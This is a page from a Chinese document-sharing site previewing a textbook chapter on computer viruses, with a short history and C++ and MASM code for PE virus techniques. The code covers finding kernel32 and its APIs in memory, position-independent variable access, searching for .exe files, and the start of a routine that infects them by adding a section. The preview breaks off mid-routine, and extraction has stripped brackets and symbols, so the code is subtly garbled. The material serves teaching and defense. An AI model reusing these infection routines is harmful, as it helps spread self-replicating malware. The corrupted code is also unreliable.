欢迎来到淘文阁 - 分享文档赚钱的网站! | 帮助中心 好文档才是您的得力助手!
淘文阁 - 分享文档赚钱的网站
全部分类
  • 研究报告>
  • 管理文献>
  • 标准材料>
  • 技术资料>
  • 教育专区>
  • 应用文书>
  • 生活休闲>
  • 考试试题>
  • pptx模板>
  • 工商注册>
  • 期刊短文>
  • 图片设计>
  • ImageVerifierCode 换一换

    世上最完整的病毒分析及实例(108页).doc

    • 资源ID:35562619       资源大小:490KB        全文页数:107页
    • 资源格式: DOC        下载积分:15金币
    快捷下载 游客一键下载
    会员登录下载
    微信登录下载
    三方登录下载: 微信开放平台登录   QQ登录  
    二维码
    微信扫一扫登录
    下载资源需要15金币
    邮箱/手机:
    温馨提示:
    快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    世上最完整的病毒分析及实例(108页).doc

    -世上最完整的病毒分析及实例-第 379 页第3章 病毒分析本章介绍病毒的原理与所使用的技术,以及防止病毒的方法: 常见病毒的原理; 可执行文件病毒修改文件的方法; 可执行文件病毒使用的常用技术; 优化可执行文件防病毒; 文件过滤驱动在反病毒上的应用。这是本章涉及的问题。1.1 病毒概述“计算机病毒”最早是由美国计算机病毒研究专家F.Cohen博士提出的。“计算机病毒”有很多种定义,国外流行的定义为:是一段附着在其他程序上的可以实现自我繁殖的程序代码。在中华人民共和国计算机信息系统安全保护条例中的定义为:“计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。世界上第一例被证实的计算机病毒是在1983年,出现了计算机病毒传播的研究报告。同时有人提出了蠕虫病毒程序的设计思想;1984年,美国人Thompson开发出了针对UNIX操作系统的病毒程序。1988年11月2日晚,美国康尔大学研究生罗特·莫里斯将计算机病毒蠕虫投放到网络中。该病毒程序迅速扩展,造成了大批计算机瘫痪,甚至欧洲联网的计算机都受到影响,直接经济损失近亿美元。计算机病毒是人为编写的,具有自我复制能力,是未经用户允许执行的代码。一般正常的程序是由用户调用,再由系统分配资源,完成用户交给的任务。其目的对用户是可见的、透明的。而病毒具有正常程序的一切特性,它隐藏在正常程序中,当用户调用正常程序时窃取到系统的控制权,先于正常程序执行,病毒的动作、目的对用户时未知的和未经用户允许的。它的主要特征有传染性、隐蔽性、潜伏性、破坏性和不可预见性。传染性是病毒最重要的一条特性。按照计算机病毒侵入的系统分类,分为DOS系统下的病毒、Windows系统下的病毒、UNIX系统下的病毒和OS/2系统下的病毒。按照计算机病毒的链接方式分类可分为源码型病毒、嵌入型病毒、外壳型病毒。按照传播介质分类,可以分为可分为单机病毒和网络病毒。随着Windows系统的发展,引导型病毒已经不再,宏病毒也少见。目前见得多的是感染本机可执行文件的PE病毒和通过网络在计算机之间传播的蠕虫病毒比较常见。1.2 PE病毒分析Windows下常见的可执行文件,一种是二进制文件,就是扩展名为exe、dll、src和sys等的文件,它们的执行是由explorer.exe(资源管理器)、cmd.exe(控制台,类似DOS界面)或其它程序调用执行的。另一种是文本格式文件,例如扩展名为htm和html,可以由iexplorer.exe调用,由script.exe来解释执行的文件。 从Windows2000以后,其二进制文件文件为PE结构。PE的意思就是可移植的执行体(Portable Executable),它是 Windows的32位环境自身所带的执行体文件格式。它的一些特性继承自 Unix的 Coff (common object file format)文件格式,同时为了保证与旧版本MS-DOS及Windows操作系统的兼容,PE文件格式也保留了MS-DOS中那熟悉的MZ头部。病毒能够感染PE文件,因为病毒设计者深知其结构。1.2.1 PE病毒常用技术病毒也和正常的应用程序一样,涉及到函数的调用和变量的使用。1、调用API函数的方法API是“Application Programming Interface”的英文缩写,很象DOS下的中断。中断是系统提供的功能,在DOS运行后就被装载在内存中,而API函数是当应用程序运行时,通过将函数所在的动态连接库装载到内存后调用函数的。请大家先在MSDN的“索引”中输入函数“MessageBox”然后回车,就可以查到该函数的使用方法。MSDN是微软提供的开发帮助,是在Windows下编程必备的资料文件。在Windows下设计应用程序不直接或间接使用API是不可能的,有些高级语言看似没有使用API,只不过它们提供的模块对API进了封装。API的使用分为静态和动态使用两种方式。在源程序中调用API两种方式都可以使用,但对未公开API因为无相应的头文件,只能使用动态方式。下面以VC+中调用MessageBox说明两种方式的区别。(1) 静态方式char note_inf=”谢谢使用”;char note_head=”提示信息”;:MessageBox(0, note_inf, note_head,MB_OK); /:表示全局函数反汇编结果如图3-1。“PUSH 00000000”对应的是MB_OK常量入栈,“PUSH 0040302C”对应的是一个字符串的偏移地址入栈,“PUSH 00403020”对应的是另一个字符串偏移地址的入栈,第2行“PUSH 00000000”对应窗口句柄入栈。当程序执行时,装载器会将user32.dll装载到应用程序虚拟空间,同时将MessageBoxA(对应ANSI格式,另一种为UNICODE格式,用MessageBoxW表示。这是因为函数的参数有字符串,而字符串有两种格式所致)的入口地址填充到虚拟地址004021B8h。虚拟地址004021B8h是由PE头中IMAGE_DATA_DIRECTORY数组来定位的,当编译器生成PE文件时就计算好了。 图3-1 API的汇编调用(2) 动态方式动态方式先定义函数指针,使用函数LoadLibrary装载要调用的函数所在的dll文件,获取模块句柄。然后调用GetProcAddress获取要调用的函数的地址。void CTestDlg:OnButton/定义MessageBox函数指针typedef int (WINAPI *_MessageBox)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType /定义MessageBox指针变量_MessageBox new_MessageBox; /装载MessageBox函数所在dll文件HINSTANCE hb=LoadLibrary("user32.dll");/获取ANSI格式的MessageBox函数地址new_MessageBox=(_MessageBox)GetProcAddress(hb,"MessageBoxA");/动态调用函数MessageBoxnew_MessageBox(0,"欢迎使用!","提示信息",MB_OK);/释放MessageBox函数所在模块CloseHandle(hb);动态方式是在需要调用函数时才将函数所在模块调入到内存的,同时也不需要编译器为该函数在导入表中建立相应的项。2、病毒调用API函数病毒要完成相应的功能,不可能不调用API函数。病毒感染PE文件可能是在源程序中加入病毒代码,但多数是在生成PE文件后通过修改PE文件感染的。对后种情况,病毒难以去为使用的API建立导入表项,只有使用第动态方式调用API。动态使用API的前提是预先知道LoadLibrary和GetProcAddress的地址,可以预先设定或搜索API的地址实现。一个正常的Windows程序,它至少需要调用模块kernel32.dll,因为应用程序正常退出时需要调用函数ExitProcess,而该函数位于模块kernel32.dll内。然而函数LoadLibrary和GetProcAddress也位于模块kernel32.dll内。既然模块kernel32.dll总在内存,如果我们知道这两个函数地址,直接调用就可以了。(1) 检测函数地址先用间接方式检测函数的地址,代码如下,结果见图3-2。void CTestDlg:OnButton1() /定义函数LoadLibrary和GetProcAddress的原型typedef HINSTANCE (WINAPI *_LoadLibrary)( LPCTSTR lpLibFileName typedef FARPROC (WINAPI *_GetProcAddress)( HMODULE hModule, LPCSTR lpProcName /定义指针_LoadLibrary new_LoadLibrary; _GetProcAddress new_GetProcAddress;/装载函数所在模块HINSTANCE hb=LoadLibrary("kernel32.dll");/获取函数首地址new_LoadLibrary=(_LoadLibrary)GetProcAddress(hb,"LoadLibraryA");new_GetProcAddress=(_GetProcAddress)GetProcAddress(hb,"GetProcAddress");/显示结果CString inf;inf.Format("LoadLibrary =%XhrnGetProcAddress=%Xh",new_LoadLibrary,new_GetProcAddress);:MessageBox(0,inf,"地址信息",MB_OK);CloseHandle(hb); 图3-2 取函数地址(2) 在程序中直接使用函数地址如下的代码直接使用函数LoadLibrary和GetProcAddress地址,然后用它们动态调用函数MessageBox,执行的结果是显示信息框。void CTestDlg:OnButton2() /定义MessageBox原型typedef int (WINAPI *_MessageBox)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType char funName="MessageBoxA"/定义地址DWORD LoadLibraryAddr =0x77E80221;DWORD GetProcAddressAddr =0x77E80CAB;_MessageBox new_MessageBox; /定义函数所在模块名HINSTANCE hb;char dllName="user32.dll"_asm ;VC+中嵌入汇编代码 lea eax, dllName push eax mov ebx, LoadLibraryAddr call ebx ;调用LoadLibrary mov hb, eax /直接使用地址 lea eax,funName push eax push hb mov ebx, GetProcAddressAddr ;调用LoadLibrary call ebx mov new_MessageBox, eax/动态调用MessageBox,显示信息框new_MessageBox(0,"欢迎使用!","提示信息",MB_OK);CloseHandle(hb);预先设定API地址使代码比较短,但只能局限在某个操作系统版本下运行,也必须先保证它所在模块在内存中。同一个API函数,在不同的系统下的地址可能不相同。该方法,也叫“预编码”技术。(3) 搜索API地址只需要从虚拟内存搜索到LoadLibrary和GetProcAddress的地址,用这两个函数就可以获取其它函数的地址。前面已经介绍过,一般程序都会加载LoadLibrary和GetProcAddress所在的库文件kernel32.dll,那么在内存中搜索kernel32.dll所在基地址,然后再分析kernel32.dll的PE结构,就可以找到LoadLibrary和GetProcAddress的地址。分析多个Windows系统,可以知道kernel32.dll加载的大致地址,比如根据在9X下其加载地址是0xBFF70000,在Windows 2000下加载基址是0x77E80000,然后可由该地址向高地址搜索可以找到其基址。也可以由高地址到低地址开始搜索,搜索开始的地址由程序入口处的ESP获得。程序装载器调用一个程序后将程序的返回地址入栈,然后转去执行该程序。经反汇编证明,返回地址是属于模块中。由于内存属性决定,有些内存可能因未分配而不能读,如果读它,将导致出错。为避免因错误而程序不能继续,必须使用SEH处理。SEH(“Structured Exception Handling”)即结构化异常处理,是Windows操作系统提供给程序设计者的强有力的处理程序错误或异常的武器,有些类似于VISUAL C+中使用的_try _finally 和_try _except。后面的例子使用了从这些地址向高地址搜索的方法。如果搜索到Kernel32.DLL的加载地址,其头部一定是“MZ”标志,由模块起始偏移0x3C的双字确定e_lfanew,再由e_lfanew找到的PE头部标志必然是“PE”,因此可根据这两个标志判断是否找到了模块加载地址。经实验证明,该判断方法非常可靠,基本不会出现错误。因为所有版本的Windows系统下Kernel32.DLL的加载基址都是按照0x1000对齐的,根据这一特点可以不必逐字节搜索,按照0x1000对齐的边界地址搜索即可。以由程序入口处的ESP为例,方法如下。下面的代码搜索LoadLibrary和GetProcAddress的地址。.586p.model flat, stdcalloption casemap :none ; case sensitiveincludelib masm32libuser32.lib GetApiAddress PROTO :DWORD,:DWORD .data Kernel32Addr dd ? ExportKernel dd ? GetProcAddr dd ? LoadLibraryAddr dd ? aGetProcAddr db "GetProcAddress",0 GetProcAddLen equ $-aGetProcAddr-1 aLoadLibrary db "LoadLibraryA",0 LoadLibraryLen equ $-aLoadLibrary-1 szTitle db "检测结果",0 temp1 db "Kernel32.dll 基本地址:%8x",0dh,0ah db "LoadLibrary 地址 :%8x",0dh,0ah db "GetProcAddress 地址 :%8x",0dh,0ah,0 temp2 db 256 dup(?).codemain:Start: mov esi, esp ; esi为返回地址所在的页,例若esp=77e78f94h,esi=77e78000h and esi,0fffff000h ;转换为1000h字节的倍数LoopFindKernel32: sub esi,1000h cmp word ptresi,'ZM' ; 搜索EXE文件头 jnz short LoopFindKernel32GetPeHeader: mov edi,dword ptresi+3ch ; 偏移3ch处为"PE" add edi,esi cmp word ptredi,4550h ; 确认是否PE文件头 jnz short LoopFindKernel32 ;esi->kernel32,edi->kernel32 PE HEADER mov Kernel32Addr,esi ;获得 Kernel32.dll 中的所需的 Api 的线性地址: invoke GetApiAddress, Kernel32Addr, addr aLoadLibrary mov LoadLibraryAddr, eax invoke GetApiAddress, Kernel32Addr, addr aGetProcAddr mov GetProcAddr, eax invoke wsprintf,addr temp2,addr temp1,Kernel32Addr,LoadLibraryAddr,GetProcAddr invoke MessageBoxA,0,addr temp2,addr szTitle,0 invoke ExitProcess, 0;函数功能:从内存中 Kernel32.dll 的导出表中获取某个 API 的入口地址GetApiAddress proc uses ecx ebx edx esi edi hModule:DWORD, szApiName:DWORD LOCAL dwReturn: DWORD LOCAL dwApiLength: DWORD mov dwReturn, 0 ;计算 API 字符串的长度(带尾部的0) mov esi, szApiName mov edx, esi Continue_Searching_Null: cmp byte ptr esi, 0; 是否为 Null-terminated char ? jz We_Got_The_Length; Yeah, we got it. :) inc esi; No, continue searching. jmp Continue_Searching_Null; searching. We_Got_The_Length: inc esi; 呵呵, 别忘了还有最后一个“0”的长度。 sub esi, edx; esi = API Name size mov dwApiLength, esi; dwApiLength = API Name size ;从 PE 文件头的数据目录获取输出表的地址 mov esi, hModule add esi, esi + 3ch assume esi: ptr IMAGE_NT_HEADERS add esi, hModule assume esi:ptr IMAGE_EXPORT_DIRECTORY; esi 指向Kernel32.dll 的输出表 ;遍历 AddressOfNames 指向的数组的RVA对应的函数名字符串 ;AddressOfNames为RVA,指向一个RVA数组 ;数组为DWORD类型,是RVA值,指向函数名字符串 ;用字符串名描述的函数的个数在NumberOfNames,包括序号引;出的总数在AddressOfFunctions mov ebx, esi.AddressOfNames add ebx, hModule ;AddressOfNames是RVA,还要加上基地址 xor edx, edx ;edx=函数计数值,初始化为0,每查一个函数的RVA,加1 .repeatpush esi;保存esi,后面会用到mov edi, ebx;edi=导出表中函数字符串的RVAadd edi, hModule;别忘了加上基地址mov esi, szApiName;函数名字的首地址mov ecx, dwApiLength;函数名字的长度cld;设置方向标志DF=0,地址递增repz cmpsb;比较字符串,直到CX=0.if ZERO?;ZF=1,找到了 pop esi;恢复 esi jmp _Find_Index;查找该函数的地址索引.endifpop esi;恢复 esiadd ebx, 4 ;下一个函数名的RVA(每个函数占用4个字节)inc edx;增加函数计数 .until edx >= esi.NumberOfNames ;函数个数已经大于记数的总数NumberOfNames jmp _Exit;没找到,退出 ;得到ebx为RVA值,ebx+hModule指向函数字符串 ;函数名称索引 -> 序号索引 -> 地址索引 ;公式:API's地址 = ( API的序号*4)+AddressOfFunctions的VA + Kernel32基地址_Find_Index: sub ebx, esi.AddressOfNames;esi 就指向了下一个函数的首地址,所以要先减掉它sub ebx, hModule ;减掉基地址,得到 RVA shr ebx, 1 ;要除以2 ,还是因为 repz cmpsb 那行 add ebx, esi.AddressOfNameOrdinals ;AddressOfNameOrdinals是RVA,指向;包含16位函数序号的数组 add ebx, hModule ;要加基地址 ;函数序号*2+AddressOfFunctions+hModule为函数地址值的地址 movzx eax, word ptr ebx ;eax = API的序号 shl eax, 2 ;要乘以4才得到偏移 add eax,esi.AddressOfFunctions ;加AddressOfFunctions的VA add eax, hModule ;别忘了基地址 ;从地址表得到导出函数地址 mov eax, eax;得到函数的RVA add eax, hModule;别忘了基地址 mov dwReturn, eax;最终得到的函数的线性地址_Exit: mov eax, dwReturn;函数地址 retGetApiAddressendpend main显示结果如图3-3。 图3-3 搜索到的API地址3、 病毒使用变量学汇编时我们知道,当寄存器不够用,所以要使用变量。病毒代码侵入到可执行文件中的位置对于不同的可执行文件是不同的。在下面的代码中,病毒源程序中有DWORD类型变量x,编译后设变量的偏移地址为00401002h,则其实际表示方式为mov eax, 00401002h。.386.model flat, stdcalloption casemap :none ; case sensitive.data.code jmp f ;f表示下一个标号,指 x dd 1234h mov eax, x如果将jmp语句开始的代码(偏移为00401000h)附加到图3-4显示两种程序后面,设程序1的偏移为100h,程序2的偏移为200h。附加后代码反汇编,指令jmp没有问题,因为它的机器码为EB04h,EB是jmp指令,04是跨距。拷贝到新位置后jmp后的eip变了,所以jmp后面的跳转位置也相应地变了。变量x的偏移变成了102h和202h,但后面取变量的指令也应该相应地变成“mov eax,dword ptr102h”和“mov eax,dword ptr202h”,但仍然没有变,肯定会产生错误。 图3-4 附加代码现在尝试作以下修改。.386.model flat, stdcalloption casemap :none ; case sensitive.data.code callF ;f表示下最近的一个标号,指 popebx subebx, offset B jmp f ;f表示最近的下一个标号,指 x dd 12345678h mov eax, ebx+x反汇编后代码::00401000 E800000000 call 00401005:00401005 5B pop ebx:00401006 81EB05104000 sub ebx, 00401005:0040100C EB04 jmp 00401012:0040100E 3412 :00401010 7856 :00401012 8B830E104000 mov eax, dword ptr ebx+0040100E从这段代码看到,此时的x的地址是 0040100Eh。call 00401005执行后再执行pop ebx后,ebx等于00401005h,执行sub ebx, 00401005后,ebx为0。那么最后得到的bx的地址ebx+0040100E即0040100Eh。因为病毒加入到PE文件中的位置是不固定的,但不管怎么变,ebx也跟着变,最后总能得到x的地址。 病毒修改可执行文件方法病毒可能以三种方式对PE文件进行修改,也可能进行压缩或加密。修改的三种方式分别为添加节、扩展节和插入节,下面分别介绍其原理,并以相应的代码予以说明。 1、添加节方式修改PE所谓添加节就是在文件的最后建立一个新节,同时在节表结构的后面建立一个节表,用以描述该节。程序的入口地址被修改为指向最后含有病毒代码的节。原理如图3-5。 图3-5 添加节方式我们先演示一个程序,在图3-6中显示有5个可执行文件,其大小分别为4K、20K、55K、11K、16K字节。有一天,发现该目录下有几个文件感染了SD-1号病毒,程序运行时先弹出一个信息框,如图3-7,再运行原来的程序,同时发现病毒在同目录下修改了一个文件。图3-7及后面的几个图的标题上有设计者名字,为避免误解,擦去了。 图3-6 被感染前 图3-7 感染后显示信息再观察目录下文件大小的变化,如图3-8。可以看到,文件Insert.exe大小成为了24KB,Xmu.exe成为了18KB。它们的字节数增加了,其它两个可执行文件大小没有变化,运行也没有感染。可见,该种感染方式修改了可执行文件大小。图3-8 感染后的文件运用前面设计的PE文件分析工具,可以观察其结构的变化。以Insert.exe为例,感染前如图3-9,感染后如图3-10。程序大小为0x6000字节,比感染前增加了0x1000字节。有5个节,比原来增加了1个节,增加的节名为第五个节,节名为.SD-1。入口地址RVA为0x55C1,而第5节的起始RVA为0x5000,占用空间大小为0x1000,可见入口地址在第5节内。由以上分析可知,该种感染方式的特点是: 增加一个新节,为病毒部分。 程序的大小发生变化。 程序的入口地址发生变化。 图3-9 感染前结构分析可以看到,程序的大小为0x5000字节,共有四个节,节名分别为.text、.rdata、.data和.rsrc。程序的RVA入口地址在0x1730,而第一节的内存偏移地址RVA为0x1000,占用0x1000字节,可见入口地址在第一节内。再从图3-10来分析感染后的Insert.exe。 图3-10 感染后结构分析现在我们再来从代码的角度分析其病毒的感染原理。(1) 病毒寻找exe文件SearchFile2 proc ;定义局部变量LOCAL lpName6: BYTE ;作参数,描述要搜寻的文件类型 LOCAL st: WIN32_FIND_DATA ;搜寻文件函数需使用的结构变量 LOCAL handle: DWORD ;存放文件句柄 pushad ;保护所有寄存器,保证函数调用结束后寄存器不变;初始化lpName,使其内容为“*.exe” mov al, '*' mov lpName, al mov al, '.' mov lpName+1, al mov al, 'e' mov lpName+2, al mov al, 'x' mov lpName+3, al mov al, 'e' mov lpName+4, al mov al, 0 mov lpName+5, al ;调用FindFirstFile函数 invoke ebx+_FindFirstFile, ADDR lpName, ADDR st mov handle, eax .if eax = INVALID_HANDLE_VALUE ;失败则返回 jmp _Exit0 .endif mov esi, TRUE ;循环查找exe文件 .while esi = TRUE invoke ebx+_FindNextFile, handle, ADDR st mov esi, eax ;找到,则FindNextFile返回TRUE,否则为FALSE,循环结束 .break .if esi = FALSE ;若返回值为FALSE,退出;必须,否则最后文件被找到两次 invoke ProcessPeFile3,ADDR st.cFileName ;调用该函数感染一个文件 mov ecx, eax .break .if ecx = -1 ;感染一个文件以后退出。此处看出每次只感染一个文件 .endw invoke ebx+_FindClose, handle ;搜寻结束_Exit0: popad ;恢复所有寄存器 retSearchFile2 endp这段代码很类似于前面用C+写的代码。(2) 病毒修改exe文件函数Align2计算按照指定值对齐后的数值。程序中的节是需要考虑到文件对齐和内存对齐的。假设原来文件对齐粒度SectionAlignment为0x1000,病毒代码长为0x1780,则对齐后长为0x2000。通过执行 invoke Align2, 1780h, 1000,返回值为2000h。Align2proc_dwSize, _dwAlignpush edxmov eax, _dwSizexoredx, edxdiv_dwAlign.ifedx inc eax.endifmul_dwAlignpopedxretAlign2endp函数ProcessPeFile3完成此功能,代码如下。;感染文件函数,文件名在f_Name指向的缓冲区ProcessPeFile3 proc f_Name ;定义局部变量localhFile, dwTemp, dwEntry, lpMemory, OldEntry ;分别用作文件句柄、;临时变量、入口地址、内存指针、原程序入口地址 local fTemp0, dwFileSize, pNewSec ;分别用作临时变量、文件大小、内存指针 local flags: DWORD ;是否成功感染的标志 pushad ;保护所有寄存器 mov flags, 0 ;初始化,为0表示没感染; 以读写方式打开文件f_Name,打开失败则退出invoke ebx+_CreateFile, f_Name, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL movhFile, eax ;得到文件句柄.ifeax =INVALID_HANDLE_VALUE jmp _Exit0 ;失败,退出 .endif; 取文件长度,为0则返回invokeebx+_GetFileSize, hFile, NULLmovdwFileSize,eax .if eax = 0

    注意事项

    本文(世上最完整的病毒分析及实例(108页).doc)为本站会员(1595****071)主动上传,淘文阁 - 分享文档赚钱的网站仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知淘文阁 - 分享文档赚钱的网站(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于淘文阁 - 版权申诉 - 用户使用规则 - 积分规则 - 联系我们

    本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

    工信部备案号:黑ICP备15003705号 © 2020-2023 www.taowenge.com 淘文阁 

    收起
    展开